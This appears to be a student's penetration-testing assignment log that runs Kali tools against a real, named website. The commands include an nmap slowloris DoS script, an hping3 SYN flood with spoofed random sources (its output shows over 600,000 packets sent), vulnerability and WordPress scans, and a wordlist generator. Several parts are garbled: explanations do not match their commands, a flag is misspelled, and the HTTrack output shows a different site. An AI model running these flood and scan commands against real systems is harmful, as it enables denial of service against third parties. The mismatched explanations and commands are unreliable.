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Date:3/3/2023

Task:1

1.Dos attack use in nmap

The nmap Scripting Engine (NSE) has numerous scripts that can be used to perform DoS attacks. This specific recipe will demonstrate how to locate DoS NSE scripts, identify the usage of the scripts, and show how to execute them.

Command:

\$nmap -script http-slowloris -max-parallclism 400 mitkundapura.com

```
(kali⊕kali)-[~]
- sudo apt install hping3
[sudo] password for kali:
Reading package lists... Done
Building dependency tree ... Done
Reading state information ... Done
hping3 is already the newest version (3.a2.ds2-10).
hping3 set to manually installed.
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
(kali⊕kali)-[~]
$ sudo hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source mitkundapura.com
HPING mitkundapura.com (eth0 217.21.87.244): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown
 — mitkundapura.com hping statistic —
628126 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
  –(kali⊕kali)-[~]
-$ echo "prasheela"
prasheela
```

2.Sql empty password enumeration scanning using nmap

New system administrators and distracted users often make the mistake of leaving the root account of a MySQL server with no password. This is a blatant security vulnerability that could be exploited by attackers.

Command:

\$nmap -p 3306 -script ms-sql-info -script-args mssql.instance-port=3306 mitkundapura.com

3. Vulnerability scan using nmap

Nmap or network mapper, is a toolkit for functionality and penetration testing throughout a network, including port scanning and vulnerability detection. Nmap scripting engine (NSE) Script is one of the most popular and powerful capabilities of Nmap. These Nmap vulnerability scan scripts are used by penetration testers and hackers to examine common known vulnerabilities.

Command:

\$nmap -sV -script vuln mitkundapura.com

```
open
|_http-server-header: LiteSpeed
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
3306/tcp open mysql MySQL 5.5.5-10.5.13-MariaDB-cll-lve
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
vulners:
   MySQL 5.5.5-10.5.13-MariaDB-cll-lve:
                              https://vulners.com/nodejs/NODEJS:602
      NODEJS:602 0.0
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 175.71 seconds
  -(kali⊕kali)-[~]
s echo "prasheela"
prasheela
```

4.Create a password list using character "fghy" the password be min and maximum length 4 letters using tool hydra

This wouldn't have been too much of a problem if they hadn't stored all of their passwords unencrypted, in plain text for an attacker to see. They downloaded a list of all the passwords and made it publically available.

Command:

\$crunch 4 4 fghy -o wordlist.txt

5. Wordpress scan using nmap

Nmap is one our favorite tool when it comes to security testing (except for WPSec.com). Nmap was created in 1997 by Gordon Lyon aka Fyodor. The current version 7.60 contains about 580 different NSE-scripts (Nmap Scripting Engine) used for different security checks or information gathering and about six of them are related to WordPress.

Command:

\$nmap -script http-wordpress-enum -script-args type="themes" mitkundapura.com

```
–(kali⊕kali)-[~]
s nmap --script http-wordpress-enum --script-args type="themes" mitkundapura.com
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-02 11:49 EST
NSE: [http-wordpress-enum] got no answers from pipelined queries
NSE: [http-wordpress-enum] got no answers from pipelined queries
Nmap scan report for mitkundapura.com (217.21.87.244)
Host is up (0.040s latency).
Other addresses for mitkundapura.com (not scanned): 2a02:4780:11:771:0:2d4c:6d7f:1
Not shown: 994 filtered tcp ports (no-response)
        STATE SERVICE
PORT
21/tcp open ftp
80/tcp open http
443/tcp open https
3306/tcp open mysql
7443/tcp open oracleas-https
8443/tcp open https-alt
Nmap done: 1 IP address (1 host up) scanned in 69.43 seconds
  -(kali⊕kali)-[~]
 ⊸$ echo "prasheela"
prasheela
```

6. What is use of HTTrack? Command copy website

HTTrack allows users to download World Wide Web sites from the Internet to a local computer. By default, HTTrack arranges the downloaded site by the original site's relative link-structure. The downloaded (or "mirrored") website can be browsed by opening a page of the site in a browser.

Command:

\$httrack mitkundapura.com

```
(kali@kali)-[~]
$ cd www.kali.org

(kali@kali)-[~/www.kali.org]
$ ls
about-us docs index.html rss.xml
blog features index.mine839.css sitemap.xml
community get-kali newsletter style.mina38a.css
contact images partnerships tools

(kali@kali)-[~/www.kali.org]
$ echo "prasheela"
prasheela
```